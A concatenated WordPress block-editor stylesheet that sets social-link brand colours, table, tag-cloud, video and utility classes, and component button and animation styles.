.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{
  background-color:#e94c89;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{
  background-color:#4280ff;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{
  background-color:#f45800;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{
  background-color:#1778f2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{
  background-color:#0461dd;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{
  background-color:#e65678;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{
  background-color:#24292d;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{
  background-color:#eceadd;
  color:#382110;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{
  background-color:#ea4434;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-gravatar{
  background-color:#1d4fc4;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{
  background-color:#f00075;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{
  background-color:#e21b24;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{
  background-color:#0d66c2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{
  background-color:#3288d4;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{
  background-color:#02ab6c;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{
  background-color:#f6405f;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{
  background-color:#e60122;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{
  background-color:#ef4155;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{
  background-color:#ff4500;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{
  background-color:#0478d7;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{
  background-color:#fefc00;
  color:#fff;
  stroke:#000;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{
  background-color:#ff5600;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{
  background-color:#1bd760;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{
  background-color:#2aabee;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-threads,.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{
  background-color:#011835;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{
  background-color:#6440a4;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{
  background-color:#1da1f2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{
  background-color:#1eb7ea;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{
  background-color:#4680c2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{
  background-color:#3499cd;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-whatsapp{
  background-color:#25d366;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-x{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{
  background-color:#d32422;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{
  background-color:red;
  color:#fff;
}

.wp-block-social-links.is-style-logos-only .wp-social-link{
  background:none;
}
.wp-block-social-links.is-style-logos-only .wp-social-link a{
  padding:0;
}
.wp-block-social-links.is-style-logos-only .wp-social-link svg{
  height:1.25em;
  width:1.25em;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{
  color:#f90;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{
  color:#1ea0c3;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-behance{
  color:#0757fe;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{
  color:#1e1f26;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{
  color:#02e49b;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{
  color:#e94c89;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{
  color:#4280ff;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{
  color:#f45800;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{
  color:#1778f2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{
  color:#0461dd;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{
  color:#e65678;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-github{
  color:#24292d;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{
  color:#382110;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-google{
  color:#ea4434;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-gravatar{
  color:#1d4fc4;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{
  color:#f00075;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{
  color:#e21b24;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{
  color:#0d66c2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{
  color:#3288d4;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-medium{
  color:#02ab6c;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{
  color:#f6405f;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{
  color:#e60122;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{
  color:#ef4155;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{
  color:#ff4500;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-skype{
  color:#0478d7;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{
  color:#fff;
  stroke:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{
  color:#ff5600;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{
  color:#1bd760;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{
  color:#2aabee;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-threads,.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{
  color:#011835;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{
  color:#6440a4;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{
  color:#1da1f2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{
  color:#1eb7ea;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-vk{
  color:#4680c2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-whatsapp{
  color:#25d366;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{
  color:#3499cd;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-x{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{
  color:#d32422;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{
  color:red;
}

.wp-block-social-links.is-style-pill-shape .wp-social-link{
  width:auto;
}
.wp-block-social-links.is-style-pill-shape .wp-social-link a{
  padding-left:.66667em;
  padding-right:.66667em;
}

.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{
  color:#000;
}

.wp-block-spacer{
  clear:both;
}

.wp-block-tag-cloud{
  box-sizing:border-box;
}
.wp-block-tag-cloud.aligncenter{
  justify-content:center;
  text-align:center;
}
.wp-block-tag-cloud.alignfull{
  padding-left:1em;
  padding-right:1em;
}
.wp-block-tag-cloud a{
  display:inline-block;
  margin-left:5px;
}
.wp-block-tag-cloud span{
  display:inline-block;
  margin-right:5px;
  text-decoration:none;
}
.wp-block-tag-cloud.is-style-outline{
  display:flex;
  flex-wrap:wrap;
  gap:1ch;
}
.wp-block-tag-cloud.is-style-outline a{
  border:1px solid;
  font-size:unset !important;
  margin-left:0;
  padding:1ch 2ch;
  text-decoration:none !important;
}

.wp-block-table{
  overflow-x:auto;
}
.wp-block-table table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-table thead{
  border-bottom:3px solid;
}
.wp-block-table tfoot{
  border-top:3px solid;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table .has-fixed-layout{
  table-layout:fixed;
  width:100%;
}
.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{
  word-break:break-word;
}
.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{
  display:table;
  width:auto;
}
.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{
  word-break:break-word;
}
.wp-block-table .has-subtle-light-gray-background-color{
  background-color:#f3f4f5;
}
.wp-block-table .has-subtle-pale-green-background-color{
  background-color:#e9fbe5;
}
.wp-block-table .has-subtle-pale-blue-background-color{
  background-color:#e7f5fe;
}
.wp-block-table .has-subtle-pale-pink-background-color{
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes{
  background-color:initial;
  border-bottom:1px solid #f0f0f0;
  border-collapse:inherit;
  border-spacing:0;
}
.wp-block-table.is-style-stripes tbody tr:nth-child(odd){
  background-color:#f0f0f0;
}
.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){
  background-color:#f3f4f5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){
  background-color:#e9fbe5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){
  background-color:#e7f5fe;
}
.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{
  border-color:#0000;
}
.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{
  border-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{
  border-top-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:not(:first-child){
  border-top-color:initial;
}
.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{
  border-left-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{
  border-bottom-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){
  border-bottom-color:initial;
}
.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{
  border-right-color:inherit;
}
.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{
  border-style:inherit;
}
.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{
  border-style:inherit;
  border-width:inherit;
}

:where(.wp-block-term-description){
  margin-bottom:var(--wp--style--block-gap);
  margin-top:var(--wp--style--block-gap);
}

.wp-block-term-description p{
  margin-bottom:0;
  margin-top:0;
}
.wp-block-text-columns,.wp-block-text-columns.aligncenter{
  display:flex;
}
.wp-block-text-columns .wp-block-column{
  margin:0 1em;
  padding:0;
}
.wp-block-text-columns .wp-block-column:first-child{
  margin-right:0;
}
.wp-block-text-columns .wp-block-column:last-child{
  margin-left:0;
}
.wp-block-text-columns.columns-2 .wp-block-column{
  width:50%;
}
.wp-block-text-columns.columns-3 .wp-block-column{
  width:33.33333%;
}
.wp-block-text-columns.columns-4 .wp-block-column{
  width:25%;
}

pre.wp-block-verse{
  overflow:auto;
  white-space:pre-wrap;
}

:where(pre.wp-block-verse){
  font-family:inherit;
}

.wp-block-video{
  box-sizing:border-box;
}
.wp-block-video video{
  vertical-align:middle;
  width:100%;
}
@supports (position:sticky){
  .wp-block-video [poster]{
    object-fit:cover;
  }
}
.wp-block-video.aligncenter{
  text-align:center;
}
.wp-block-video figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}

.editor-styles-wrapper,.entry-content{
  counter-reset:footnotes;
}

a[data-fn].fn{
  counter-increment:footnotes;
  display:inline-flex;
  font-size:smaller;
  text-decoration:none;
  text-indent:-9999999px;
  vertical-align:super;
}

a[data-fn].fn:after{
  content:"[" counter(footnotes) "]";
  float:right;
  text-indent:0;
}
.wp-element-button{
  cursor:pointer;
}

:root{
  --wp--preset--font-size--normal:16px;
  --wp--preset--font-size--huge:42px;
}
:root .has-very-light-gray-background-color{
  background-color:#eee;
}
:root .has-very-dark-gray-background-color{
  background-color:#313131;
}
:root .has-very-light-gray-color{
  color:#eee;
}
:root .has-very-dark-gray-color{
  color:#313131;
}
:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{
  background:linear-gradient(-135deg, #00d084, #0693e3);
}
:root .has-purple-crush-gradient-background{
  background:linear-gradient(-135deg, #34e2e4, #4721fb 50%, #ab1dfe);
}
:root .has-hazy-dawn-gradient-background{
  background:linear-gradient(-135deg, #faaca8, #dad0ec);
}
:root .has-subdued-olive-gradient-background{
  background:linear-gradient(-135deg, #fafae1, #67a671);
}
:root .has-atomic-cream-gradient-background{
  background:linear-gradient(-135deg, #fdd79a, #004a59);
}
:root .has-nightshade-gradient-background{
  background:linear-gradient(-135deg, #330968, #31cdcf);
}
:root .has-midnight-gradient-background{
  background:linear-gradient(-135deg, #020381, #2874fc);
}

.has-regular-font-size{
  font-size:1em;
}

.has-larger-font-size{
  font-size:2.625em;
}

.has-normal-font-size{
  font-size:var(--wp--preset--font-size--normal);
}

.has-huge-font-size{
  font-size:var(--wp--preset--font-size--huge);
}

.has-text-align-center{
  text-align:center;
}

.has-text-align-left{
  text-align:left;
}

.has-text-align-right{
  text-align:right;
}

#end-resizable-editor-section{
  display:none;
}

.aligncenter{
  clear:both;
}

.items-justified-left{
  justify-content:flex-start;
}

.items-justified-center{
  justify-content:center;
}

.items-justified-right{
  justify-content:flex-end;
}

.items-justified-space-between{
  justify-content:space-between;
}

.screen-reader-text{
  border:0;
  clip:rect(1px, 1px, 1px, 1px);
  -webkit-clip-path:inset(50%);
  clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}

.screen-reader-text:focus{
  background-color:#ddd;
  clip:auto !important;
  -webkit-clip-path:none;
          clip-path:none;
  color:#444;
  display:block;
  font-size:1em;
  height:auto;
  line-height:normal;
  padding:15px 23px 14px;
  right:5px;
  text-decoration:none;
  top:5px;
  width:auto;
  z-index:100000;
}
html :where(.has-border-color){
  border-style:solid;
}

html :where([style*=border-top-color]){
  border-top-style:solid;
}

html :where([style*=border-right-color]){
  border-left-style:solid;
}

html :where([style*=border-bottom-color]){
  border-bottom-style:solid;
}

html :where([style*=border-left-color]){
  border-right-style:solid;
}

html :where([style*=border-width]){
  border-style:solid;
}

html :where([style*=border-top-width]){
  border-top-style:solid;
}

html :where([style*=border-right-width]){
  border-left-style:solid;
}

html :where([style*=border-bottom-width]){
  border-bottom-style:solid;
}

html :where([style*=border-left-width]){
  border-right-style:solid;
}
html :where(img[class*=wp-image-]){
  height:auto;
  max-width:100%;
}
:where(figure){
  margin:0 0 1em;
}

html :where(.is-position-sticky){
  --wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height, 0px);
}

@media screen and (max-width:600px){
  html :where(.is-position-sticky){
    --wp-admin--admin-bar--position-offset:0px;
  }
}.wp-element-button{
  cursor:pointer;
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}
.wp-element-button{
  cursor:pointer;
}

:root{
  --wp--preset--font-size--normal:16px;
  --wp--preset--font-size--huge:42px;
}
:root .has-very-light-gray-background-color{
  background-color:#eee;
}
:root .has-very-dark-gray-background-color{
  background-color:#313131;
}
:root .has-very-light-gray-color{
  color:#eee;
}
:root .has-very-dark-gray-color{
  color:#313131;
}
:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{
  background:linear-gradient(-135deg, #00d084, #0693e3);
}
:root .has-purple-crush-gradient-background{
  background:linear-gradient(-135deg, #34e2e4, #4721fb 50%, #ab1dfe);
}
:root .has-hazy-dawn-gradient-background{
  background:linear-gradient(-135deg, #faaca8, #dad0ec);
}
:root .has-subdued-olive-gradient-background{
  background:linear-gradient(-135deg, #fafae1, #67a671);
}
:root .has-atomic-cream-gradient-background{
  background:linear-gradient(-135deg, #fdd79a, #004a59);
}
:root .has-nightshade-gradient-background{
  background:linear-gradient(-135deg, #330968, #31cdcf);
}
:root .has-midnight-gradient-background{
  background:linear-gradient(-135deg, #020381, #2874fc);
}

.has-regular-font-size{
  font-size:1em;
}

.has-larger-font-size{
  font-size:2.625em;
}

.has-normal-font-size{
  font-size:var(--wp--preset--font-size--normal);
}

.has-huge-font-size{
  font-size:var(--wp--preset--font-size--huge);
}

.has-text-align-center{
  text-align:center;
}

.has-text-align-left{
  text-align:left;
}

.has-text-align-right{
  text-align:right;
}

#end-resizable-editor-section{
  display:none;
}

.aligncenter{
  clear:both;
}

.items-justified-left{
  justify-content:flex-start;
}

.items-justified-center{
  justify-content:center;
}

.items-justified-right{
  justify-content:flex-end;
}

.items-justified-space-between{
  justify-content:space-between;
}

.screen-reader-text{
  border:0;
  clip:rect(1px, 1px, 1px, 1px);
  -webkit-clip-path:inset(50%);
  clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}

.screen-reader-text:focus{
  background-color:#ddd;
  clip:auto !important;
  -webkit-clip-path:none;
          clip-path:none;
  color:#444;
  display:block;
  font-size:1em;
  height:auto;
  line-height:normal;
  padding:15px 23px 14px;
  right:5px;
  text-decoration:none;
  top:5px;
  width:auto;
  z-index:100000;
}
html :where(.has-border-color){
  border-style:solid;
}

html :where([style*=border-top-color]){
  border-top-style:solid;
}

html :where([style*=border-right-color]){
  border-left-style:solid;
}

html :where([style*=border-bottom-color]){
  border-bottom-style:solid;
}

html :where([style*=border-left-color]){
  border-right-style:solid;
}

html :where([style*=border-width]){
  border-style:solid;
}

html :where([style*=border-top-width]){
  border-top-style:solid;
}

html :where([style*=border-right-width]){
  border-left-style:solid;
}

html :where([style*=border-bottom-width]){
  border-bottom-style:solid;
}

html :where([style*=border-left-width]){
  border-right-style:solid;
}
html :where(img[class*=wp-image-]){
  height:auto;
  max-width:100%;
}
:where(figure){
  margin:0 0 1em;
}

html :where(.is-position-sticky){
  --wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height, 0px);
}

@media screen and (max-width:600px){
  html :where(.is-position-sticky){
    --wp-admin--admin-bar--position-offset:0px;
  }
}.wp-element-button{cursor:revert}.wp-element-button[role=textbox]{cursor:text}@charset "UTF-8";
:root{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.components-animate__appear{
  animation:components-animate__appear-animation .1s cubic-bezier(0, 0, .2, 1) 0s;
  animation-fill-mode:forwards;
}
@media (prefers-reduced-motion:reduce){
  .components-animate__appear{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.components-animate__appear.is-from-top,.components-animate__appear.is-from-top.is-from-left{
  transform-origin:top left;
}
.components-animate__appear.is-from-top.is-from-right{
  transform-origin:top right;
}
.components-animate__appear.is-from-bottom,.components-animate__appear.is-from-bottom.is-from-left{
  transform-origin:bottom left;
}
.components-animate__appear.is-from-bottom.is-from-right{
  transform-origin:bottom right;
}

@keyframes components-animate__appear-animation{
  0%{
    transform:translateY(-2em) scaleY(0) scaleX(0);
  }
  to{
    transform:translateY(0) scaleY(1) scaleX(1);
  }
}
.components-animate__slide-in{
  animation:components-animate__slide-in-animation .1s cubic-bezier(0, 0, .2, 1);
  animation-fill-mode:forwards;
}
@media (prefers-reduced-motion:reduce){
  .components-animate__slide-in{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.components-animate__slide-in.is-from-left{
  transform:translateX(100%);
}
.components-animate__slide-in.is-from-right{
  transform:translateX(-100%);
}

@keyframes components-animate__slide-in-animation{
  to{
    transform:translateX(0);
  }
}
.components-animate__loading{
  animation:components-animate__loading 1.6s ease-in-out infinite;
}

@keyframes components-animate__loading{
  0%{
    opacity:.5;
  }
  50%{
    opacity:1;
  }
  to{
    opacity:.5;
  }
}
.components-autocomplete__popover .components-popover__content{
  min-width:220px;
  padding:16px;
}

.components-autocomplete__result.components-button{
  display:flex;
  height:auto;
  min-height:36px;
  text-align:left;
  width:100%;
}
.components-autocomplete__result.components-button.is-selected{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}

.components-button-group{
  display:inline-block;
}
.components-button-group .components-button{
  border-radius:0;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
  display:inline-flex;
}
.components-button-group .components-button+.components-button{
  margin-left:-1px;
}
.components-button-group .components-button:first-child{
  border-radius:2px 0 0 2px;
}
.components-button-group .components-button:last-child{
  border-radius:0 2px 2px 0;
}
.components-button-group .components-button.is-primary,.components-button-group .components-button:focus{
  position:relative;
  z-index:1;
}
.components-button-group .components-button.is-primary{
  box-shadow:inset 0 0 0 1px #1e1e1e;
}

.components-button{
  align-items:center;
  -webkit-appearance:none;
  background:none;
  border:0;
  border-radius:2px;
  box-sizing:border-box;
  color:var(--wp-components-color-foreground, #1e1e1e);
  cursor:pointer;
  display:inline-flex;
  font-family:inherit;
  font-size:13px;
  font-weight:400;
  height:36px;
  margin:0;
  padding:6px 12px;
  text-decoration:none;
  transition:box-shadow .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .components-button{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-button.is-next-40px-default-size{
  height:40px;
}
.components-button:hover,.components-button[aria-expanded=true]{
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button:disabled:hover,.components-button[aria-disabled=true]:hover{
  color:initial;
}
.components-button:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:3px solid #0000;
}
.components-button.is-primary{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:var(--wp-components-color-accent-inverted, #fff);
  outline:1px solid #0000;
  text-decoration:none;
  text-shadow:none;
  white-space:nowrap;
}
.components-button.is-primary:hover:not(:disabled){
  background:var(--wp-components-color-accent-darker-10, var(--wp-admin-theme-color-darker-10, #2145e6));
  color:var(--wp-components-color-accent-inverted, #fff);
}
.components-button.is-primary:active:not(:disabled){
  background:var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
  border-color:var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6));
  color:var(--wp-components-color-accent-inverted, #fff);
}
.components-button.is-primary:focus:not(:disabled){
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button.is-primary:disabled,.components-button.is-primary:disabled:active:enabled,.components-button.is-primary[aria-disabled=true],.components-button.is-primary[aria-disabled=true]:active:enabled,.components-button.is-primary[aria-disabled=true]:enabled{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:#fff6;
  opacity:1;
  outline:none;
}
.components-button.is-primary:disabled:active:enabled:focus:enabled,.components-button.is-primary:disabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:active:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:focus:enabled{
  box-shadow:0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 3px var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-button.is-primary.is-busy,.components-button.is-primary.is-busy:disabled,.components-button.is-primary.is-busy[aria-disabled=true]{
  background-image:linear-gradient(-45deg, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 33%, var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6)) 33%, var(--wp-components-color-accent-darker-20, var(--wp-admin-theme-color-darker-20, #183ad6)) 70%, var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9)) 70%);
  background-size:100px 100%;
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:var(--wp-components-color-accent-inverted, #fff);
}
.components-button.is-secondary,.components-button.is-tertiary{
  outline:1px solid #0000;
}
.components-button.is-secondary:active:not(:disabled),.components-button.is-tertiary:active:not(:disabled){
  box-shadow:none;
}
.components-button.is-secondary:disabled,.components-button.is-secondary[aria-disabled=true],.components-button.is-secondary[aria-disabled=true]:hover,.components-button.is-tertiary:disabled,.components-button.is-tertiary[aria-disabled=true],.components-button.is-tertiary[aria-disabled=true]:hover{
  background:#0000;
  color:#949494;
  opacity:1;
  transform:none;
}
.components-button.is-secondary{
  background:#0000;
  box-shadow:inset 0 0 0 1px var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:1px solid #0000;
  white-space:nowrap;
}
.components-button.is-secondary:hover:not(:disabled,[aria-disabled=true]){
  box-shadow:inset 0 0 0 1px var(--wp-components-color-accent-darker-10, var(--wp-admin-theme-color-darker-10, #2145e6));
}
.components-button.is-secondary:disabled:not(:focus),.components-button.is-secondary[aria-disabled=true]:hover:not(:focus),.components-button.is-secondary[aria-disabled=true]:not(:focus){
  box-shadow:inset 0 0 0 1px #ddd;
}
.components-button.is-tertiary{
  background:#0000;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  white-space:nowrap;
}
.components-button.is-tertiary:hover:not(:disabled,[aria-disabled=true]){
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.components-button.is-tertiary:active:not(:disabled,[aria-disabled=true]){
  background:rgba(var(--wp-admin-theme-color--rgb), .08);
}
p+.components-button.is-tertiary{
  margin-left:-6px;
}
.components-button.is-tertiary:disabled:not(:focus),.components-button.is-tertiary[aria-disabled=true]:hover:not(:focus),.components-button.is-tertiary[aria-disabled=true]:not(:focus){
  box-shadow:none;
  outline:none;
}
.components-button.is-destructive{
  --wp-components-color-accent:#cc1818;
  --wp-components-color-accent-darker-10:#9e1313;
  --wp-components-color-accent-darker-20:#710d0d;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link){
  color:#cc1818;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):hover:not(:disabled){
  color:#710d0d;
}
.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #cc1818;
}
